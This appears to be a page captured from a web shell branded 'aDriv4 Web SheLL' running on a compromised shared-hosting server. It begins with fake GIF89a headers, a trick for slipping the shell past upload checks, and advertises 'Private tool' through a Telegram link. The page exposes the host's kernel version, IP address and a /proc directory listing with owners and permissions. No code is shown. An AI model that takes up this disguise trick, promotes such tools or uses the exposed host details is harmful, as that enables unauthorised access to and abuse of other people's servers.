GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium163.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
 LiteSpeed
 162.0.209.21
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-19 09:03:27
.. dir - root/root 0755 2025-08-05 06:44:57
2322683 dir - adcoycyg/adcoycyg 0555 2025-11-18 10:10:59
2612378 dir - adcoycyg/adcoycyg 0555 2025-11-18 10:10:45
2677929 dir - adcoycyg/adcoycyg 0555 2025-11-18 10:10:59
2695306 dir - adcoycyg/adcoycyg 0555 2025-11-18 10:10:59
2698994 dir - adcoycyg/adcoycyg 0555 2025-11-18 10:10:59
2699355 dir - adcoycyg/adcoycyg 0555 2025-11-18 10:10:59
2701605 dir - adcoycyg/adcoycyg 0555 2025-11-18 10:10:59
2701853 dir - adcoycyg/adcoycyg 0555 2025-11-18 10:10:59
2701975 dir - adcoycyg/adcoycyg 0555 2025-11-18 10:10:59
2703381 dir - adcoycyg/adcoycyg 0555 2025-11-18 10:11:01
2703740 dir - adcoycyg/adcoycyg 0555 2025-11-18 10:11:06
2703742 dir - adcoycyg/adcoycyg 0555 2025-11-18 10:11:06
2703759 dir - adcoycyg/adcoycyg 0555 2025-11-18 10:11:06
acpi dir - root/root 0555 2025-06-19 09:03:30
bus dir - root/root 0555 2025-06-19 09:03:40
driver dir - root/root 0555 2025-11-18 10:11:06
fs dir - root/root 0555 2025-06-19 09:03:40
irq dir - root/root 0555 2025-06-19 09:03:40
kcare dir - root/root 0555 2025-11-18 10:11:06
lve dir - root/root 0555 2025-11-18 10:11:01
net link - adcoycyg/adcoycyg 0555 2025-11-18 10:11:06
scsi dir - root/root 0555 2025-06-19 09:03:40
self link - adcoycyg/adcoycyg 0555 2025-11-18 10:10:59
sys dir - root/root 0555 2025-06-19 09:03:28
sysvipc dir - root/root 0555 2025-11-18 10:11:06
thread-self link - adcoycyg/adcoycyg 0555 2025-11-18 10:11:01
tty dir - root/root 0555 2025-11-18 10:11:06
buddyinfo 0 B root/root 0444 2025-11-18 10:11:06
cgroups 0 B root/root 0444 2025-11-18 10:11:06
cmdline text/plain 0 B root/root 0444 2025-11-18 10:11:01
consoles 0 B root/root 0444 2025-11-18 10:11:06
cpuinfo text/plain 0 B root/root 0444 2025-11-18 10:11:03
crypto 0 B root/root 0444 2025-11-18 10:11:06
devices 0 B root/root 0444 2025-11-18 10:11:06
diskstats 0 B root/root 0444 2025-11-18 10:11:05
dma 0 B root/root 0444 2025-11-18 10:11:06
execdomains 0 B root/root 0444 2025-11-18 10:11:06
fb 0 B root/root 0444 2025-11-18 10:11:06
filesystems text/plain 0 B root/root 0444 2025-11-18 10:10:59
interrupts 0 B root/root 0444 2025-11-18 10:11:06
iomem 0 B root/root 0444 2025-11-18 10:11:06
ioports 0 B root/root 0444 2025-11-18 10:11:06
kallsyms 0 B root/root 0444 2025-06-19 09:03:40
kcore 128 TB root/root 0400 2025-06-19 09:03:30
key-users 0 B root/root 0444 2025-11-18 10:11:06
keys 0 B root/root 0444 2025-11-18 10:11:06
kmsg 0 B root/root 0400 2025-11-18 10:11:06
kpagecgroup 0 B root/root 0400 2025-11-18 10:11:06
kpagecount 0 B root/root 0400 2025-11-18 10:11:06
kpageflags 0 B root/root 0400 2025-11-18 10:11:06
loadavg text/plain 0 B root/root 0444 2025-11-18 10:10:59
locks 0 B root/root 0444 2025-11-18 10:11:06
mdstat 0 B root/root 0444 2025-11-18 10:11:06
meminfo text/plain 0 B root/root 0444 2025-11-18 10:11:05
misc 0 B root/root 0444 2025-11-18 10:11:06
modules 0 B root/root 0444 2025-11-18 10:11:06
mounts text/plain 0 B adcoycyg/adcoycyg 0444 2025-11-18 10:11:06
mtrr 0 B root/root 0644 2025-06-19 09:03:40
pagetypeinfo 0 B root/root 0400 2025-11-18 10:11:06
partitions 0 B root/root 0444 2025-11-18 10:11:06
sched_debug 0 B root/root 0444 2025-11-18 10:11:06
schedstat 0 B root/root 0444 2025-11-18 10:11:06
slabinfo 0 B root/root 0400 2025-11-18 10:11:06
softirqs 0 B root/root 0444 2025-11-18 10:11:06
stat text/plain 0 B root/root 0444 2025-11-18 10:10:59
swaps 0 B root/root 0444 2025-06-19 09:03:28
sysrq-trigger 0 B root/root 0200 2025-06-19 09:03:40
timer_list 0 B root/root 0400 2025-11-18 10:11:06
uptime text/plain 0 B root/root 0444 2025-11-18 10:11:06
version text/plain 0 B root/root 0444 2025-11-18 10:11:06
vmallocinfo 0 B root/root 0400 2025-11-18 10:11:06
vmstat 0 B root/root 0444 2025-11-18 10:11:05
zoneinfo 0 B root/root 0444 2025-11-18 10:11:06
© aDriv4